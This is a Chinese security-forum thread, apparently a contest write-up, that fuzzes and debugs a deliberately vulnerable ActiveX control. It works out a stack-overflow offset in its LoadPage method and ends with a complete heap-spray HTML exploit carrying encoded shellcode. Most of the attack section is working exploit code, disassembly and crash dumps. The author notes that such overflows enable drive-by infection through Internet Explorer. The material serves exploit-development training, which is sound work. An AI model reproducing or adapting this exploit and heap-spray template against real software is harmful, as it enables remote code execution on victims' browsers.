首页
社区
课程
招聘
[原创]第二题(B)分析
发表于: 2007-12-30 19:23 21318

[原创]第二题(B)分析

2007-12-30 19:23
21318
提交者看雪ID:xfmaple
职业:(学生、程序员、安全专家、黑客技术爱好者、其他?)
黑客技术爱好者

漏洞定位:
在B题说明中,已经给出来可以用来分析的工具ComRaider
ComRaider可以产生一些脚本用来fuzz ActiveX中的一些方法。
用ComRaider打开exploit_me_B.dll



看了一下ComRaider列出的方法,看到了一个叫download的方法,查看其信息得到
Sub DownLoad (
        ByVal URL  As String ,
        ByVal filename  As String
)
第一感觉就可能这个地方会有问题,可能有人会问为什么?呵呵,其实也没啥,找什么都好,无论是溢出,还是别的,总是回去看自己熟悉的东西,download这个字眼够熟悉吧。而且列出的方法中的元素有url, filename,而且都是string的类型。这样就有可能通过提交过长的URL或者FILENAME,产生溢出。ComRaider本身就是一个FUZZ工具,当然你可以通过在《ActiveX漏洞手工挖掘调试指导》的文档中说明的方法来测试,我这里直接使用ComRaider来测试此方法。
右键download-》fuzz member-》next,测试其成员属性。

ComRaider自动生产了一些wsf结尾的脚本。Next进行fuzz之后,证明了我的猜想。溢出就是猜想-》分析-》验证的过程


右键查看此信息
Exception Code: ACCESS_VIOLATION
Disasm: 1A437E4	CALL [ECX+8]	(testControl.DLL)

Seh Chain:
--------------------------------------------------
1 	7C92EE18 	ntdll.dll
2 	76AA3F54 	ole32.dll
3 	7C839AA8 	KERNEL32.dll


Called From                   Returns To                    
--------------------------------------------------
testControl.1A437E4           3                             


Registers:
--------------------------------------------------
EIP 01A437E4 -> Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EAX 01BA0530 -> Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBX 00000000
ECX 41414141
EDX 0013FD4C -> 0025449C
EDI 00000064
ESI 01B00A40 -> 01AE9BD0
EBP 01A20000 -> 00905A4D -> Asc: MZMZ
ESP 0013FC30 -> 01BA0530


Block Disassembly: 
--------------------------------------------------
1A437D5	MOV EDI,64
1A437DA	MOV EAX,[ESI+10]
1A437DD	CMP EAX,EBX
1A437DF	JE SHORT 01A437E7
1A437E1	MOV ECX,[EAX]
1A437E3	PUSH EAX
1A437E4	CALL [ECX+8]	  <--- CRASH
1A437E7	PUSH EBX
1A437E8	MOV [ESI+10],EBX
1A437EB	CALL [ESI+20]
1A437EE	CMP [1B0D2B0],EDI
1A437F4	JNZ SHORT 01A437FB
1A437F6	ADD ESI,1C
1A437F9	JMP SHORT 01A437FE
1A437FB	ADD ESI,24


ArgDump:
--------------------------------------------------
EBP+8	00000004
EBP+12	0000FFFF
EBP+16	000000B8
EBP+20	00000000
EBP+24	00000040
EBP+28	00000000


Stack Dump:
--------------------------------------------------
13FC30 30 05 BA 01 00 00 00 00 00 00 00 00 60 FC 13 00  [............`...]
13FC40 00 00 A2 01 0F AC A5 01 00 00 A2 01 00 00 00 00  [................]
13FC50 00 00 00 00 B8 FC 13 00 74 FC 13 00 BF AB A5 01  [........t.......]
13FC60 80 FC 13 00 A7 11 92 7C 00 00 A2 01 00 00 00 00  [................]
13FC70 00 00 00 00 BF AB A5 01 B8 FC 13 00 60 44 25 00  [............`D..]

发现ECX被覆盖了。覆盖的地方是call [ECX+8]的操作

查看ComRaider测试的脚本
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2' id='target' />
<script language='vbscript'>

'File Generated by COMRaider v0.0.133 - http://labs.idefense.com

'Wscript.echo typename(target)

'for debugging/custom prolog
targetFile = "D:\study\exploit_me_B.dll"
prototype  = "Sub DownLoad ( ByVal URL As String ,  ByVal filename As String )"
memberName = "DownLoad"
progid     = "ppp2Lib.T_ppp01"
argCount   = 2

arg1=String(2068, "A")
arg2="defaultV"

target.DownLoad arg1 ,arg2 

</script></job></package>

这里已经很清除的给出了CLSID和测试方法和数据
我把这个脚本用javascript来简单重写一下
<html>
<body>
<object classid='clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2' id='target' /></object>
<script language='javascript'>
var fuzzstr = '';
while(fuzzstr.length < 2068) fuzzstr += '\x0a\x0a\x0a\x0a';
target.download("default", fuzzstr);
</script>
</body>
</html>

先设置一下IE的安全等级,让他加载控件的时候有提示,用OD附加IE,再F9运行,然后再加载控件

发现断在了这个地方,与在ComRaider捕获异常的地方不一样。奇怪,用0D在,LoadLibrary的系列函数上下断点,找到加载我们exploit_me_B.dll的地方,ctrl+F9执行的返回,居然直接结束了。郁闷,不知道中间咋回事。于是用《跟踪调试COM组件的接口》一文中的方法找到函数入口点,然后进行跟踪,也是失败了~。郁闷。对于这个download的属性分析,总体来说是失败的。但调试思路,我想应该是可行的。
在对download分析失败以后,我就进行了fuzz library,全局的扫了一下,发现有问题的地方还很多。
用上面积累的方法又对loadpage的属性进行了分析
用《跟踪调试COM组件的接口》文章提到的方法找到函数入口点,下断,然后用上面分析download的时候用的方法附加IE,进行调试。
函数入口
0389CD30  /.  55            push    ebp
0389CD31  |.  8BEC          mov     ebp, esp
0389CD33  |.  8B45 08       mov     eax, dword ptr [ebp+8]
0389CD36  |.  8B4D 10       mov     ecx, dword ptr [ebp+10]
0389CD39  |.  8B55 14       mov     edx, dword ptr [ebp+14]
0389CD3C  |.  53            push    ebx
0389CD3D  |.  8D98 C0000000 lea     ebx, dword ptr [eax+C0]
0389CD43  |.  8B45 18       mov     eax, dword ptr [ebp+18]
0389CD46  |.  56            push    esi
0389CD47  |.  57            push    edi
0389CD48  |.  898B 2C470000 mov     dword ptr [ebx+472C], ecx
0389CD4E  |.  50            push    eax
0389CD4F  |.  8BCB          mov     ecx, ebx
0389CD51  |.  8993 30470000 mov     dword ptr [ebx+4730], edx
0389CD57  |.  E8 7468FFFF   call    038935D0
0389CD5C  |.  8B45 0C       mov     eax, dword ptr [ebp+C]
0389CD5F  |.  85C0          test    eax, eax
0389CD61  |.  75 16         jnz     short 0389CD79
0389CD63  |.  33F6          xor     esi, esi
0389CD65  |.  8BCB          mov     ecx, ebx
0389CD67  |.  56            push    esi
0389CD68  |.  E8 638DFFFF   call    03895AD0
0389CD6D  |.  33C0          xor     eax, eax
0389CD6F  |.  8D65 F4       lea     esp, dword ptr [ebp-C]
0389CD72  |.  5F            pop     edi
0389CD73  |.  5E            pop     esi
0389CD74  |.  5B            pop     ebx
0389CD75  |.  5D            pop     ebp
0389CD76  |.  C2 1400       retn    14
0389CD79  |>  50            push    eax                              ; /String
0389CD7A  |.  FF15 F8909403 call    dword ptr [<&KERNEL32.lstrlenW>] ; \lstrlenW  //获取宽字节长度
0389CD80  |.  8D7C00 02     lea     edi, dword ptr [eax+eax+2]		//长度* 2+ 2
0389CD84  |.  8BC7          mov     eax, edi
0389CD86  |.  83C0 03       add     eax, 3
0389CD89  |.  24 FC         and     al, 0FC
0389CD8B  |.  E8 70D60100   call    038BA400
0389CD90  |.  8B4D 0C       mov     ecx, dword ptr [ebp+C]
0389CD93  |.  8BF4          mov     esi, esp
0389CD95  |.  6A 00      push    0                                ; /pDefaultCharUsed = NULL
0389CD97  |.  6A 00         push    0                                ; |pDefaultChar = NULL
0389CD99  |.  57            push    edi                              ; |MultiByteCount
0389CD9A  |.  56            push    esi                              ; |MultiByteStr
0389CD9B  |.  6A FF         push    -1                               ; |WideCharCount = FFFFFFFF (-1.)
0389CD9D  |.  51            push    ecx                              ; |WideCharStr
0389CD9E  |.  6A 00         push    0                                ; |Options = 0
0389CDA0  |.  6A 00         push    0                                ; |CodePage = CP_ACP
0389CDA2  |.  C606 00       mov     byte ptr [esi], 0                ; |
0389CDA5  |.  FF15 F4909403 call    dword ptr [<&KERNEL32.WideCharTo>; \WideCharToMultiByte
0389CDAB  |.  56            push    esi
0389CDAC  |.  8BCB          mov     ecx, ebx
0389CDAE  |.  E8 1D8DFFFF   call    03895AD0
利用我在《第一题A分析》最后使用笨办法,来到了如下地方
03893DC0  /$  81EC 0C010000 sub     esp, 10C			//分配268(十进制)空间大小
03893DC6  |.  8BD1          mov     edx, ecx
03893DC8  |.  83C9 FF       or      ecx, FFFFFFFF
03893DCB  |.  33C0          xor     eax, eax
03893DCD  |.  53            push    ebx
03893DCE  |.  56            push    esi
03893DCF  |.  57            push    edi
03893DD0  |.  8BBC24 200100>mov     edi, dword ptr [esp+120]	
//开始数据复制
03893DD7  |.  F2:AE         repne   scas byte ptr es:[edi]	
03893DD9  |.  F7D1          not     ecx
03893DDB  |.  2BF9          sub     edi, ecx
03893DDD  |.  8D5C24 18     lea     ebx, dword ptr [esp+18]
03893DE1  |.  8BC1          mov     eax, ecx
03893DE3  |.  8BF7          mov     esi, edi
03893DE5  |.  8BFB          mov     edi, ebx
03893DE7  |.  C1E9 02       shr     ecx, 2
03893DEA  |.  F3:A5         rep     movs dword ptr es:[edi], dword ptr [esi]
03893DEC  |.  8BC8          mov     ecx, eax
03893DEE  |.  8B82 943F0000 mov     eax, dword ptr [edx+3F94]
03893DF4  |.  83E1 03       and     ecx, 3
03893DF7  |.  83F8 01       cmp     eax, 1
03893DFA  |.  F3:A4         rep     movs byte ptr es:[edi], byte ptr [esi]
03893DFC  |.  0F85 18010000 jnz     03893F1A				//COPY数据不为0就跳转
03893E02  |.  6A 07         push    7
03893E04  |.  8D4C24 1C     lea     ecx, dword ptr [esp+1C]
03893E08     68  C8D19503  push   0395D1C8 ;  ASCII http://


03893F1A  |> \5F            pop     edi
03893F1B  |.  5E            pop     esi
03893F1C  |.  32C0          xor     al, al
03893F1E  |.  5B            pop     ebx
03893F1F  |.  81C4 0C010000 add     esp, 10C		//恢复栈平衡
03893F25  \.  C2 0800       retn    8				//返回的时候,是使用esp +8返回的


是不是看上去和A题中的分析很像,马上写测试脚本来验证
<html>
<body>
<object classid='clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2' id='target' /></object>
<script language='javascript'>
var str = '';
while(str.length <268) str += '\x0a\x0a\x0a\x0a';
str = str + '\x0c\x0c\x0c\x0c';
target.LoadPage(str, 1, 1, 1);
</script>
</body>
</html>

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 207
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
接上

运行后

程序并没有按我们的所想覆盖成0c0c0c0c,为什么呢?
这里有个地方需要注意:
1.        已经程序分配了268个字节空间,然后在处理的函数的时候,push ebx, push esi, push edi
这里占用了12个字节空间。所以我们需要覆盖256个字节。
所以测试脚本应该是
<html>
<body>
<object classid='clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2' id='target' /></object>
<script language='javascript'>
var str = '';
while(str.length <256) str += '\x0a\x0a\x0a\x0a';
str = str + "\x0c\x0c\x0c\x0c" ;
target.LoadPage(str, 1, 1, 1);
</script>
</body>
</html>

运行后

现在分析出了,需要覆盖的字节数。
下面就是shellcode的构造了。
漏洞描述及危害分析:
由于我们提交的数据超过了我们分配的的缓冲区大小,从而导致缓冲区溢出。覆盖了程序返回的EIP。导致我们可以控制流程,指向我们需要执行的SHELLCODE。
由于这是activex溢出,而且可以直接在IE中调用,可以导致被挂马。

shellcode描述
请注明shellcode来源:原创,修改,引用。
原创请给出开发说明
修改请给出修改说明,并注明出处,附加被引用代码
引用请给出功能描述,并注明出处,附加被引用代码

SHELLCODE中需要注意的是,我们提交过去的数据,一开始会转成unicode编码,所以超过\x80以后的字符,都是不可行的。如果要精确定位,然后执行我们的shellcode,那么就要处理大于\x80的字符,对于SHELLCODE的编写,本人对于编程方面实在太菜,所以我这里用了另一种执行的办法,heap spray,大家如果抓过网马的话,应该经常能看到。例如最近的联众,暴风影音,ppstream等,都是采用的这一方法
heap spray的好处就是没有编码问题,通用性高。缺点就是会覆盖大量的内存空间,可能会引起IE崩溃。
原理是通过在内存使用nop+shellcode的方法,在内存中大量填充,保证在溢出的时候,EIP指向的地址是有效的。
这里直接给出heap spray的代码。
<html>
<body>
<object classid='clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2' id='target' /></object>
<script language='javascript'>
var heapSprayToAddress = 0x0c0c0c0c;
var shellcode = unescape(
//just pop up a MessageBox
"%u68FC%u0A6A%u1E38%u6368%uD189%u684F%u7432%u0C91%uF48B%u7E8D%u33F4%uB7DB%u2B04%u66E3%u33BB%u5332%u7568%u6573%u5472%uD233%u8B64%u305A%u4B8B%u8B0C%u1C49%u098B%u698B%uAD08%u6A3D%u380A%u751E%u9505%u57FF%u95F8%u8B60%u3C45%u4C8B%u7805%uCD03%u598B%u0320%u33DD%u47FF%u348B%u03BB%u99F5%uBE0F%u3A06%u74C4%uC108%u07CA%uD003%uEB46%u3BF1%u2454%u751C%u8BE4%u2459%uDD03%u8B66%u7B3C%u598B%u031C%u03DD%uBB2C%u5F95%u57AB%u3D61%u0A6A%u1E38%uA975%uDB33%u6853%u6577%u7473%u6668%u6961%u8B6C%u53C4%u5050%uFF53%uFC57%uFF53%uF857"
);

var heapBlockSize = 0x100000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0c0c%u0c0c");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;
memory = new Array();

for (i=0;i<heapBlocks;i++)
{
        memory[i] = spraySlide + shellcode;
}

function getSpraySlide(spraySlide, spraySlideSize)
{
    while (spraySlide.length*2<spraySlideSize)
    {
        spraySlide += spraySlide;
    }
    spraySlide = spraySlide.substring(0,spraySlideSize/2);
    return spraySlide;
}
var str = '';
while(str.length <256) str += '\x0a\x0a\x0a\x0a';
str = str + "\x0c\x0c\x0c\x0c" ;
target.LoadPage(str, 1, 1, 1);
</script>
</body>
</html>


exploit运行截图



稳定性与通用性论证
这里使用了heap spray技术,基本没有平台的限制,所以通用性高,
因为这是一种覆盖大量内存区域来执行我们的shellcode,所以这种的稳定性较差,会导致IE崩溃,不过这并不妨碍我们的学习。如果您向做到完美的SHELLCODE,不让IE崩溃。
您可以尝试些一个纯数字的SHELLCODE,或者解决SHELLCODE中出现的大于\x80的字符。

创新性论证(可选)
1.        在调试activex这种漏洞的时候,个人思路是。一是使用《跟踪调试COM组件的接口》的方法先来到程序入口,然后再单步分析。
2.        因为我们是在IE调用模块,中间肯定有会有个LoadLibrary的过程,可以在这一系列的函数中下断点,等来到loadlibrary我们的DLL的时候,用ctrl+F9的方法执行到返回,理论上应该也能来到程序入口。但在调试download方法的时候失败了。不知道为何,也希望到时候各位大虾指点一下。
3.        用OD调试这种activex的方法可以使用,把IE的安全等级设高,对加activex的时候有提示。然后就可以通过先用0D附加IE,再加载ActiveX,这样就能确保,在调试的时候加载了我们需要分析的DLL.

自己以前调试过一两个activex的漏洞,上面也是自己的一点小经验。由于自己的分析,逆向,编程能力比较弱,难免有错误的地方,还请failwest指正,在评分的时候手下留情:)
上传的附件:
2007-12-30 19:26
0
雪    币: 615
活跃值: (1267)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
顶起.......
2009-5-1 21:36
0
雪    币: 6
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
继续努力,不久会看懂的。
2014-9-4 14:48
0
游客
登录 | 注册 方可回帖
返回
//